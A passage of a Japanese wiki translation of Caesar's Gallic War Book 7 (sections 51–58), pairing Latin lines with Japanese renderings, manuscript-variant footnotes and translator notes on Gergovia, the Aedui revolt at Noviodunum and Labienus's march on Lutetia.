[[画像:Plaque_Napoléon_III_Gergovie.jpg|thumb|right|300px|[[w:ゲルゴウィアの戦い|ゲルゴウィア]]の地に残る銘板。フランス語で「[[w:ナポレオン3世|ナポレオン3世]]は、1862年のゲルゴウィアの[[w:オッピドゥム|城塞都市]]（跡）訪問の結果、メルドーニュ（Merdogne）の住民たちの要求に対して、1865年1月11日の政令によって、彼らの村にジェルゴヴィ（[[w:fr:Gergovie|Gergovie]]）の名を与えることを決定した。」&lt;!-- «A la suite de sa visite sur l'oppidum de Gergovia en 1862, Napoléon III, à la demande des habitants de Merdogne, décida d'attribuer à leur village le nom de Gergovie, par décret du 11 janvier 1865.»--&gt;]]
'''カエサルが一敗地に塗れる'''
*①　Nostri cum undique premerentur, 
**我が方（ローマ軍）は、至る所で圧倒されたので、
*XLVI(sex et quadraginta)&lt;ref&gt;XLVI はα系写本の記述で、β系写本では sex et XL となっている（どちらも46）。&lt;/ref&gt; centurionibus amissis deiecti sunt loco. 
**46名の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を失い、（激戦の）場所から追いやられた。
*Sed intolerantius Gallos insequentes 
**けれども、容赦なく追撃して来るガッリア人たちを
*legio decima tardavit, quae pro subsidio paulo aequiore loco constiterat. 
**予備部隊（もしくは要撃部隊）として、いくらか平らな所に陣取っていた[[w:第10軍団エクェストリス|第10軍団]]が妨げた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#47節|47節]]①項で既述のように、第10軍団はカエサルとともに待機していた。）&lt;/span&gt;
*②　Hanc rursus XIII(tertiae decimae) legionis cohortes exceperunt, 
**これ（＝第10軍団）をさらに、第13軍団の諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が支えた。
*quae ex castris minoribus eductae cum T.(Tito) Sextio legato ceperant locum&lt;ref&gt;ceperant locum はα系写本の記述で、β系写本では locum ceperant となっている。&lt;/ref&gt; superiorem. 
**それらは&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスとともに小さい方の陣営から進発してより高い所を占めていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#49節|49節]]を参照。）&lt;/span&gt;
*③　Legiones ubi primum planitiem attigerunt, 
**諸[[w:ローマ軍団|軍団]]は、平野に達するや否や、
*infestis contra hostes signis constiterunt. 
**敵方に抗して戦備を整えて陣取った。
*④　[[w:la:Vercingetorix|Vercingetorix]] ab radicibus collis suos intra munitiones reduxit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、配下の者たちを丘陵の麓から（ゲルゴウィアの）防備の内側に連れ戻した。
*Eo die milites sunt paulo minus [[wikt:la:Septingenti|septingenti]] desiderati.
**その日、（ローマ軍は）700名よりいくらか少ない兵士を失った。
&lt;br&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルとウェルキンゲトリークスは、たびたび交えた騎兵戦ではカエサルが勝っているが、&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;両軍の主力部隊である歩兵どうしが激突したこの戦闘は、地の利もあって、ウェルキンゲトリークスが完勝した。&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;カエサルは第8軍団など古参の部隊を投入しながら、歴戦の百人隊長と兵士たちを多く失った。）&lt;/span&gt;

===52節===
'''敗軍の将カエサルが兵士たちを責める'''
*①　Postero die Caesar contione advocata 
**翌日にカエサルは（兵士たちの）集会を召集して、
*temeritatem cupiditatemque militum&lt;ref&gt;cupiditatemque militum はα系写本の記述で、β系写本では militum cupiditatemque となっている。&lt;/ref&gt; reprehendit, 
**兵士たちの無思慮や功名心をとがめた。
*quod sibi ipsi iudicavissent, quo procedendum aut quid agendum videretur, 
**というのは、どこへ進み出るべきか、あるいは何がなされるべきと思われるのか、自分たちに対し自分たちで判断してしまったからだ。
*neque signo recipiendi dato constitissent 
**退却することの合図を与えられても留まりもせず、
*neque ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque retineri potuissent. 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]たち&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により制止されることもできなかったからだ。
*②　Exposuit quid iniquitas loci posset, quod&lt;ref&gt;quod は写本(ω)では quid となっているが、近世以降の校訂者たちは quod と修正提案している。&lt;/ref&gt; ipse ad [[w:la:Avaricum Biturigum|Avaricum]] sensisset, 
**地の利のなさがどれほど影響するのか、（カエサル）自身がアウァーリクムで判断したことを説明した。
*cum sine duce et sine equitatu deprehensis hostibus 
**将帥もなく騎兵隊もない敵たちを探し当てたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#18節|18節]]～[[#19節|19節]]を参照。そのときガッリア勢は、ウェルキンゲトリークスが騎兵隊を連れて出て不在であった。）&lt;/span&gt;
*exploratam victoriam dimisisset, 
**確実であった勝利を諦めたのだ。
*ne parvum modo detrimentum in contentione propter iniquitatem loci accideret. 
**地の利のなさのために、闘いにおいてほんのわずかな損害も生じないように（勝利を諦めたのだ）。
*③　Quanto opere&lt;ref&gt;Quanto opere はα系写本の記述で、β系写本では Quantopere となっている。&lt;/ref&gt; eorum animi magnitudinem admiraretur, 
**彼ら（兵士たち）の大胆さに（カエサルが）驚嘆すればするほど、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quanto opere ～ tanto opere …／quantopere ～ tantopere …「～すればするほど、ますます…」）&lt;/span&gt;
*quos non castrorum munitiones, non altitudo montis, non murus oppidi tardare potuisset, 
**彼らのことを（ガッリア勢の）陣営の防備も、山の高さも、[[w:オッピドゥム|城塞都市]]の城壁も妨げることができなかったのではあるが、
*tanto opere&lt;ref&gt;tanto opere はα系･T･ρ系写本の記述で、V写本では tantopere となっている。&lt;/ref&gt; licentiam arrogantiamque reprehendere, 
**それだけにますます（兵士たちの）勝手気ままさや高慢さを（カエサルは）非難する（と言った）。
*quod plus se quam imperatorem de victoria atque exitu rerum sentire existimarent; 
**というのは、自分たちが将軍（カエサル）よりも勝利と事の結末についてよく判断していると考えていたからだ。
*④　nec&lt;ref&gt;nec はα系写本の記述で、β系写本では non となっている。&lt;/ref&gt; minus se ab&lt;ref&gt;ab はα系写本の記述で、β系写本では in となっている。&lt;/ref&gt; milite modestiam et continentiam quam virtutem atque animi magnitudinem desiderare.
**自分（カエサル）は兵士たちに、武勇や大胆さよりも、慎重さや自制心を望んでいるのだ。

*:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは兵士たちを上のように責めたが、兵士たちを統制できなかった責任は最高司令官にある。）&lt;/span&gt;

===53節===
'''カエサルとローマ軍がゲルゴウィアから撤退'''
*①　Hac habita contione et ad extremam orationem confirmatis militibus, 
**（カエサルは）このような熱弁を振るって、演説の最後に、兵士たちを元気付けた。
*ne ob hanc causam animo permoverentur 
**このような理由のために心をかき乱されないように、
*neu, quod iniquitas loci attulisset, id virtuti hostium tribuerent, 
**かつ、地の利のなさが引き起こしたことを、敵方の武勇に転嫁しないように、と。
*eadem de profectione cogitans, quae ante senserat, 
**（ゲルゴウィアからの）出発については、以前から判断していたのと同じことを考えていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#43節|43節]]⑤項を参照。ゲルゴウィアからの撤退が敗走同然に見られないようにと、考えていたのであろう。）&lt;/span&gt;
*legiones ex castris eduxit aciemque idoneo loco constituit. 
**諸[[w:ローマ軍団|軍団]]を陣営から進発させて、適切な場所に戦列を整えた。
*②　Cum [[w:la:Vercingetorix|Vercingetorix]] nihilo minus &amp;lt; intra munitiones remaneret neque &amp;gt; in aequum locum descenderet, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が、防備の内側に留まったばかりか、平らな場所に降りてこなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&amp;lt; intra munitiones remaneret neque &amp;gt; は、写本になく、近代に挿入提案された修正案の一つ。）&lt;/span&gt;
*levi facto equestri proelio, atque secundo, in castra exercitum reduxit. 
**軽微な騎兵戦を行なって、順調のうちに軍隊を陣営に連れ戻した。
*③　Cum hoc idem postero die fecisset, 
**翌日もこれと同じことを行なって、
*satis ad Gallicam ostentationem minuendam militumque animos confirmandos factum existimans 
**ガッリア人の誇示を弱めること、および（ローマ人）兵士の心を強固にすることが十分になされたと考えたので、
*in [[w:la:Haedui|Haeduos]] movit castra. 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところに陣営を移（すために出発）した。
*④　Ne tum quidem insecutis hostibus 
**そのとき、敵方は決して追撃して来なかったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*tertio die ad flumen [[w:la:Elaver|Elaver]] pontes&lt;ref&gt;pontes はα系写本の記述で、β系写本では pontem となっている。&lt;/ref&gt; reficit&lt;ref&gt;reficit はχ系･B･M･L･N写本の記述で、S写本では refecit となっている。&lt;/ref&gt; eoque exercitum&lt;ref&gt;eoque exercitum はα系写本の記述で、β系写本では exercitumque となっている。&lt;/ref&gt; traducit&lt;ref&gt;traducit はα系写本の記述で、β系写本では traduxit となっている。&lt;/ref&gt;.
**3日目にはエラウェル川（＝現在の[[w:アリエ川|アリエ川]]）のところで橋を再建して、そこで軍隊を渡らせた。

===54節===
'''ハエドゥイー族のエポレドリクスとウィリドマルスらがカエサルのもとから立ち去る'''
*①　Ibi a Viridomaro atque [[w:la:Eporedorix|Eporedorige]] [[w:la:Haedui|Haeduis]] appellatus discit 
**そこで（カエサルが）[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:ウィリドマルス|ウィリドマルス]]と[[w:エポレドリクス|エポレドリクス]]から話しかけられて知ったことには、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#39節|39節]]～[[#40節|40節]]を参照。ウィリドマルスとエポレドリクスはカエサルの軍勢に従軍していたと思われる。）&lt;/span&gt;
*cum omni equitatu Litaviccum ad sollicitandos Haeduos profectum; 
**[[w:リタウィックス|リタウィックス]]がすべての騎兵隊とともに、ハエドゥイー族の者たちをそそのかすために出発したという。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#40節|40節]]を参照。リタウィックスは謀計が破れたので、ゲルゴウィアに逃れていた。）&lt;/span&gt;
*opus esse ipsos antecedere ad confirmandam civitatem. 
**部族の支持を固めるために、（彼ら）自身が（リタウィックスより）先行することが必須であるというのだ。
*②　Etsi multis iam rebus perfidiam Haeduorum&lt;ref&gt;perfidiam Haeduorum はα系写本の記述で、β系写本では Haeduorum perfidiam となっている。&lt;/ref&gt; Caesar&lt;ref&gt;Caesar はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; perspectam habebat 
**カエサルは、すでに多くの事により、ハエドゥイー族の背信行為を目にして来ており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Etsi ～, tamen …「～としても、しかしながら…」）&lt;/span&gt;
*atque horum discessu admaturari defectionem civitatis existimabat, 
**この者たちが（カエサルのもとから）立ち去ることで、（ハエドゥイー）部族の背反が一層促進されると考えていたのだが、
*tamen eos retinendos non censuit&lt;ref&gt;censuit はπ系写本の記述で、α系･ρ系写本では constituit となっている。&lt;/ref&gt;, 
**しかしながら、彼ら（2人）を束縛するべきではないと考慮した。
*ne aut inferre iniuriam videretur aut dare&lt;ref&gt;dare はα系写本の記述で、β系写本では daret となっている。&lt;/ref&gt; timoris aliquam&lt;ref&gt;timoris aliquam はα系写本の記述で、β系写本では aliquam timoris となっている。&lt;/ref&gt; suspicionem. 
**（カエサルが）無法行為を起こすと思われないように、あるいは（彼らを）怖れているという何らかの疑念を与えないように。
*③　Discedentibus his breviter sua in Haeduos merita exposuit, 
**（カエサルは）立ち去る彼らに、ハエドゥイー族における自分の功績を手短に説明した。
*quos et quam humiles accepisset, compulsos in oppida, multatos agris, 
**彼らが、どれほど無力であったのを引き受けたことか、[[w:オッピドゥム|城塞都市]]に押し込められ、耕地を台無しにされて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある。」）&lt;/span&gt;
*omnibus ereptis sociis&lt;ref&gt;sociis「同盟者たち」 はβ系写本の記述で、α系写本では copiis「軍勢」となっている。&lt;/ref&gt;, imposito stipendio, obsidibus summa cum contumelia extortis, 
**すべての同盟者たちを奪い取られ、貢物を課せられて、たいへんな侮辱とともに人質をもぎ取られていたことか。
*④　et quam in fortunam quamque in amplitudinem deduxisset, 
**かつ、どれほどの境遇に、どれほどの高位に（カエサルが）引き上げもしたことか。
*ut non solum in pristinum statum redissent, 
**その結果（ハエドゥイー族は）かつての地位に戻っただけでなく、
*sed omnium temporum dignitatem et gratiam antecessisse viderentur. 
**（以前の）あらゆる時期の品格や信望をも越えていると思われる。
*His datis mandatis eos ab se dimisit.
**このような訓示を与えて、彼ら（2人）を自分のもとから送り出した。

===55節===
'''エポレドリクスとウィリドマルスらがローマの拠点ノウィオドゥーヌムで寝返る'''
[[画像:Nevers_-_Vue_depuis_la_rive_sud_de_la_Loire.jpg|thumb|center|700px|ノウィオドゥーヌム（[[w:la:Nivernum|Noviodunum]]）＝現･[[w:ヌヴェール|ヌヴェール]]（[[w:fr:Nevers|Nevers]]）における、リゲル川（[[w:la:Liger|Liger]]）＝現･[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）の岸辺の景観]]

*①　[[w:la:Nivernum|Noviodunum]] erat oppidum [[w:la:Haedui|Haeduorum]] ad ripas [[w:la:Liger|Ligeris]] opportuno loco positum. 
**ノウィオドゥーヌムは、[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:オッピドゥム|城塞都市]]で、リゲル川（現[[w:ロワール川|ロワール川]]）岸の好都合な所に位置していた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：『ガリア戦記』には同名の都市が計3か所載っているが、こちらは現在の[[w:ヌヴェール|ヌヴェール]] Nevers である。&lt;br&gt;　　　　「[[ガリア戦記/ガリア語の名前#Nouio-dūnon|ガリア語の名前 #Nouio-dūnon]]」を参照せよ。）&lt;/span&gt;
*②　Huc Caesar omnes obsides Galliae, frumentum, pecuniam publicam, 
**ここに、カエサルは、ガッリアのすべての人質たちや、糧食、公金、
*suorum atque exercitus impedimentorum magnam partem contulerat; 
**および自分と軍隊の[[w:輜重|輜重]]の大部分を運び集めていた。
*③　huc magnum numerum equorum huius belli causa in [[w:la:Italia|Italia]] atque [[w:la:Hispania|Hispania]] coemptum miserat. 
**ここに、この戦争のためにイタリアと[[w:ヒスパニア|ヒスパニア]]から買い集めた馬匹の多数を送っておいた。
*④　Eo cum [[w:la:Eporedorix|Eporedorix]] Viridomarusque venissent et de statu civitatis cognovissent, 
**そこに、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]がやって来て、（以下のような）部族の情勢について察知したときに、

[[画像:Bibracte333_crop.JPG|thumb|right|400px|[[w:ビブラクテ|ビブラクテ]]の[[w:オッピドゥム|城塞都市]]跡に整備された城壁の遺構]]

*Litaviccum [[w:la:Bibracte|Bibracti]] ab Haeduis receptum, 
**（すなわち）リタウィックスが、ハエドゥイー族の者たちによって[[w:ビブラクテ|ビブラクテ]]に迎え入れられ、
*─ quod est oppidum apud eos maximae auctoritatis ─, 
**それ（ビブラクテ）は彼ら（ハエドゥイー族）のもとで最大の影響力を持つ城塞都市であるが、
*Convictolitavem&lt;ref&gt;Convictolitavem はβ系･N写本の記述で、χ系･B･M･S･L写本では Convictolitabim となっている。&lt;/ref&gt; magistratum magnamque partem senatus ad eum convenisse, 
**統領コンウィクトリタウィスと評議会の大半の者たちが彼（リタウィックス）のもとへ参集し、
*legatos ad [[w:la:Vercingetorix|Vercingetorigem]] de pace et&lt;ref&gt;et は α系･U写本の記述で、π系･R写本では et de となっている。&lt;/ref&gt; amicitia concilianda publice missos, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のところへ和平と友好を仲介するべく公けに使節たちが遣わされた（ことを知った）ので、
*non praetermittendum instans&lt;ref&gt;instans はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; tantum commodum existimaverunt. 
**（エポレドリクスとウィリドマルスは）眼前にあるこれほどの好機を放置するべきではないと考えたのだ。
*⑤　Itaque interfectis Novioduni custodibus quique eo negotiandi aut itineris&lt;ref&gt;aut itineris はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; causa convenerant, 
**こうして（2人は）ノウィオドゥーヌムの（ローマ側の）番兵たちや商用や旅行のために来訪していた者たちを殺害し、
*pecuniam atque equos inter se partiti sunt; 
**金銭および馬匹を互いに分け合った。
*⑥　obsides civitatum Bibracte ad magistratum deducendos curaverunt; 
**（ガッリアの）部族の人質たちをビブラクテの統領のところへ連れて行くように手配した。
*⑦　oppidum, quod a&lt;ref&gt;a はα系写本の記述で、β系写本では ab となっている。&lt;/ref&gt; se teneri non posse iudicabant, 
**（ノウィオドゥーヌムの）城塞都市は、自分たちによって固守することはできないと判断したので、
*ne cui esset usui Romanis, incenderunt; 
**ローマ人たちの有益になることがないように、焼き打ちした。
*⑧　frumenti quod subito potuerunt navibus avexerunt, 
**糧食のうち、急いで（運ぶことが）できるものを船団で運び去って、
*reliquum flumine atque incendio corruperunt. 
**残りのものを川（に流すこと）により、および焼き打ちにより、役立たないようにした。
*⑨　Ipsi ex finitimis regionibus copias cogere, 
**（彼ら）自身は、近隣の地方から軍勢を徴集して、
*praesidia custodiasque ad ripas Ligeris disponere 
**リゲルの川岸のたもとへ守備隊や番兵を分配して、
*equitatumque omnibus locis iniciendi timoris causa ostentare coeperunt, 
**（ローマ人に）恐怖（の感情）を起こさせるために、[[w:騎兵|騎兵隊]]に誇示をさせ始めた。
*si ab re frumentaria Romanos excludere 
**もし、ローマ人たちが糧食調達することを阻止するなら、
*† aut adductos inopia in provincia&lt;ref&gt;in provincia は、α系写本では ex provincia「属州から」、β系写本では provincia となっているが、コンスタン Constans やクロッツ A.Klotz らにより in provincia「属州に」と修正提案されている。&lt;/ref&gt; expellere&lt;ref&gt;expellere「駆逐する」 はα系写本の記述で、β系写本では excludere「阻止する、妨げる」 となっている。&lt;/ref&gt; † possent. 
**あるいは（糧食などの）欠乏により、属州に駆逐することができるなら、と。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：† ～ † は、写本の文章が崩れて校訂者を迷わせていることを表す記号。修正提案されている。）&lt;/span&gt;
*⑩　Quam ad spem multum eos adiuvabat, 
**そのような希望へ、彼らを大いに励まし助けたのは、
*quod Liger ex nivibus creverat, 
**リゲル川（の水位）が雪水により増したことで、
*ut omnino vado non posse transiri videretur.
**すべての浅瀬が渡らせられることができないと思われたのである。

===56節===
'''カエサルが属州へは戻らず、増水したリゲル川の渡河を敢行'''
*①　Quibus rebus cognitis Caesar maturandum sibi censuit, 
**それらの事態を知ると、カエサルは自らにとって（以下のことを）急ぐべきだと考慮した。
*si esset in perficiendis pontibus periclitandum, 
**もし、橋を造り上げる最中に（敵勢と闘うという）危険を冒すのであれば、
*ut prius, quam essent maiores eo coactae copiae, dimicaret. 
**そこに（敵方の）より多くの軍勢が集結するよりも早く闘うように（急ぐべきだと）。
*②　Nam ut commutato consilio iter in provinciam converteret, 
**なぜなら、作戦を変更して、属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に進路を方向転換するようにと、
*ne metu quidem&lt;ref&gt;ne metu quidem はα系写本の記述で、β系写本では nemo tunc quidem 、そのほか近代の校訂者によって修正提案が行なわれている。&lt;/ref&gt; necessario faciendum&lt;ref&gt;faciendum はβ系写本の記述で、α系写本では faciundum となっている。&lt;/ref&gt; existimabat; 
**（ガッリア勢への）怖れによって行なうことは決して必要ではない、と考えたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*cum infamia atque indignitas rei 
**（属州に撤退するという）事の不名誉や恥辱が、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：cum ～ tum …「～であるのと同様に特に…である」）&lt;/span&gt;
*et oppositus mons Cevenna&lt;ref&gt;Cevenna はχ系･U写本の記述で、π系･R写本の記述では Cebenna、φ系写本では Cevennae となっている。&lt;/ref&gt; viarumque difficultas impediebat, 
**およびケウェンナ山地が相対して道の（通行の）困難なことが、（属州への撤退を）妨げていたし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ケウェンナ山地 mons Cevenna は現在のセヴェンヌ山地。[[#8節|8節]]を参照。）&lt;/span&gt;
*tum maxime quod abiuncto [[w:la:Titus_Labienus|Labieno]] atque iis legionibus, quas una miserat, vehementer timebat. 
**同様に、とりわけ[[w:ティトゥス・ラビエヌス|ラビエーヌス]]と一緒に派遣していた諸[[w:ローマ軍団|軍団]]から遠ざけられて、非常に心配してもいたのだ。
*③　Itaque admodum magnis diurnis nocturnisque itineribus confectis 
**こうして、昼間も夜間も非常な強行軍を成し遂げて、
*contra omnium opinionem ad [[w:la:Liger|Ligerem]]&lt;ref&gt;Ligerem はα系写本の記述で、β系写本では Ligerim となっている。&lt;/ref&gt; venit 
**皆の予想に反して、リゲル川（＝現[[w:ロワール川|ロワール川]]）の辺りにやって来た。
*④　vadoque per equites invento pro rei necessitate opportuno, 
**事態の緊急性に見合う好都合な浅瀬を、[[w:騎兵|騎兵]]たちを通じて見出して、
*ut brachia modo atque humeri&lt;ref&gt;humeri はA･φ系･ρ系写本の記述で、Q写本では umeri となっている。&lt;/ref&gt; ad sustinenda arma liberi ab aqua esse possent, 
**やっと腕と肩を、武器を差し上げるために、水から自由になることができた。
*disposito equitatu, qui vim fluminis refringeret, 
**川の流れの圧力を妨げるべく、騎兵隊を分けて置いて、
*atque hostibus primo aspectu perturbatis, 
**敵方は（ローマ勢を）初めに一見するや狼狽していたので、
*⑤　incolumem exercitum traduxit 
**（カエサルは）軍隊を無傷のまま渡河させた。
*frumentumque in agris et pecoris copiam nactus 
**耕地の穀物、および大量の家畜を獲得して、
*repleto his rebus exercitu 
**これらの物を軍隊に補充して、
*iter in Senones facere instituit.
**セノネース族のところに行軍することを決めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セノネース族の方面には、副官ラビエーヌスと4個軍団を派遣していた。）&lt;/span&gt;

==ラビエーヌスのルテティア遠征==
===57節===
'''副官ラビエーヌスがルテティア制圧に向かう'''
*①　Dum haec apud Caesarem geruntur, 
**これらがカエサルのもとで遂行されている間に、
*[[w:la:Titus Labienus|Labienus]] eo supplemento, quod nuper ex Italia venerat, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は、最近イタリアから来ていた補充兵（予備兵）を
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#34節|34節]]で既述のようにラビエーヌスはカエサルから4個軍団とともにガッリア北部の制圧を委ねられていた。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;また、[[#1節|1節]]で既述のようにカエサルはイタリア（属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]）で部隊を徴兵していた。）&lt;/span&gt;
*relicto [[w:la:Agedincum|Agedinci]], ut esset impedimentis praesidio, 
**アゲディンクムに、[[w:輜重|輜重]]にとっての守備隊となるように、残留させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#10節|10節]]で既述のように、カエサルはアゲディンクム（現在の[[w:サンス|サンス]]）に全軍の輜重を残していた。）&lt;/span&gt;
*cum quattuor legionibus Luteciam&lt;ref&gt;Luteciam はα系写本の記述で、π系写本では Luceciam 、ρ系写本では Lucetiam となっている。[[ガリア戦記 第6巻#3節|第6巻3節]]では Lutetia(m) とも綴られている。&lt;/ref&gt; proficiscitur. 
**4個軍団とともに[[w:ルテティア|ルテティア]]に出発した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティア Lutetia は写本ではルテキア Lutetia とも綴られる。[[ガリア戦記 第6巻#3節|第6巻3節]]を参照。）&lt;/span&gt;
*Id est oppidum Parisiorum, quod positum est&lt;ref&gt;quod positum est はα系写本の記述で、β系写本では単に positum となっている。&lt;/ref&gt; in insula fluminis [[w:la:Sequana|Sequanae]]. 
**それ（ルテティア）は[[w:パリシイ族|パリスィイ族]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で、セクアナ川（＝現[[w:セーヌ川|セーヌ川]]）の中洲に位置している。
*②　Cuius adventu ab hostibus cognito 
**彼（ラビエーヌス）の到来が敵方により知られると、
*magnae ex finitimis civitatibus copiae convenerunt. 
**近隣の諸部族から大軍勢が集結していた。
*③　Summa imperii traditur Camulogeno Aulerco, 
**（北部ガッリア勢の）最高司令権は、[[w:アウレルキ族|アウレルキ族]]の[[w:カムロゲヌス|カムロゲヌス]]に託された。
*qui prope confectus aetate 
**その者はかなり年老いていたが、
*tamen propter singularem scientiam rei militaris ad eum est honorem evocatus. 
**けれども、彼の卓越した軍事の知識のために、顕職に召集されたのだ。
*④　Is cum animadvertisset perpetuam esse paludem, 
**彼（カムロゲヌス）は、沼地が絶え間なくあることに気付いていたので、
*quae influeret in Sequanam atque illum omnem locum magnopere impediret, 
**それはセクアナ（川）に流れ込み、かの一帯すべてを大いに近付きにくくしていたので、
*hic consedit nostrosque transitu prohibere instituit.
**ここに陣取って、我が方（ローマ勢）が渡河するのを妨げることに決めた。

===58節===
'''ラビエーヌスがメトロセドゥムを陥落させ、ルテティアのガッリア勢と対峙'''
*①　[[w:la:Titus Labienus|Labienus]] primo vineas agere, cratibus atque aggere paludem explere 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は初めに、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を駆ること、柴や土砂で沼地を埋め立てること、
*atque iter munire conabatur. 
**および道を築くこと、を試みた。
*②　Postquam id difficilius confieri&lt;ref&gt;confieri はχ系･β系写本の記述で、Q写本では confici となっている。&lt;/ref&gt; animadvertit, 
**それが成し遂げられることが困難だと気付いた後で、
*silentio e castris tertia vigilia egressus 
**（敵に知られないように）静けさのうちに第三夜警時に陣営から進発して、
*eodem, quo venerat, itinere Metlosedum&lt;ref&gt;Metlosedum はコンスタン L.-A. Constans による修正で、π系･U写本では Metiosedum 、α系･ρ系写本では Mellodunum などとなっており、写本により表記がさまざまである。&lt;/ref&gt; pervenit. 
**やって来たのと同じ道程により、メトロセドゥムに到達した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：メトロセドゥム Metlosedum は、写本によりメティオセドゥム Metiosedum とも綴られ、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;後にはメロドゥーヌム [[w:la:Melodunum|Melodunum]] として知られる。現在の[[w:ムラン|ムラン]] [[w:fr:Melun|Melun]] である。）&lt;/span&gt;
*③　Id est oppidum [[w:la:Senones|Senonum]] in insula [[w:la:Sequana|Sequanae]] positum, ut paulo ante de [[w:la:Lutetia|Lutecia]] diximus. 
**それはセノネース族の城塞都市で、少し前に[[w:ルテティア|ルテティア]]について述べたように、セクアナ川の[[w:中州|中州]]に位置している。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティアすなわち現在の[[w:パリ|パリ]]の中心部に[[w:シテ島|シテ島]]や[[w:サン＝ルイ島|サン＝ルイ島]]という[[w:セーヌ川|セーヌ川]]の中州があるように、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;現在のムランの中心部にもサン＝テティエンヌ島 [[w:fr:Île Saint-Étienne|Île Saint-Étienne]] というセーヌ川の中州がある。）&lt;/span&gt;
*④　Deprensis&lt;ref&gt;deprensis という語形はα系写本の記述で、β系写本では deprehensis となっている。&lt;/ref&gt; navibus circiter quinquaginta celeriterque coniunctis 
**約50隻の船を探し出して、速やかに結び合わせて（舟橋として）、
*atque eo militibus iniectis 
**そこに兵士たちを投入して、
*et rei novitate perterritis oppidanis, 
**事の新奇さに&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の者たちは脅えて、
*quorum magna pars erat ad bellum evocata, 
